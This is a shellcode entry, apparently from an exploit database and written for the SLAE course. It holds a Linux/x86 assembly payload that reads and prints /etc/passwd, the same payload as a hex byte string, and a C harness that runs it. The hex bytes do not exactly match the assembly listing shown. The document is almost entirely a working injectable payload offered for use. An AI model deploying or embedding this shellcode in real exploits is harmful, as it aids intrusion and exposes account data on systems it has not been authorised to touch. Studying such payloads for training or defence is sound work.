Linux/x86 - Read /etc/passwd Shellcode (62 bytes)

/*
; Title     : Linux/x86 - Read /etc/passwd Shellcode (62 bytes)
; Date      : May, 2018
; Author    : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-polymorphing-shellcodes/
; Twitter   : @nunof11
; SLAE ID   : SLAE-1112
; Size      : 62 bytes
; Tested on : i686 GNU/Linux
 
section .text
 
global _start
 
_start:
    xor eax, eax
    jmp two
 
one:
    pop ebx
    mov al, 0x5
    int 0x80
    mov esi, eax
    jmp read
 
exit:
    mov al, 0x1
    xor ebx, ebx
    int 0x80
 
read:
    mov ebx, esi
    mov al, 0x3
    mov ecx, esp
    mov dl, 0x01
    int 0x80
 
    xor ebx, ebx
    cmp eax, ebx
    je exit
 
    mov al, 0x4
    mov bl, 0x1
    int 0x80
 
    inc esp
    jmp read
 
two:
    call one
    string: db "/etc/passwd"
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xeb\x28\x5b\xb0\x05\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xea\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe7\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
 
void main()
{
    printf("Shellcode Length:  %d\n", strlen(shellcode));
 
    int (*ret)() = (int(*)())shellcode;
    ret();
}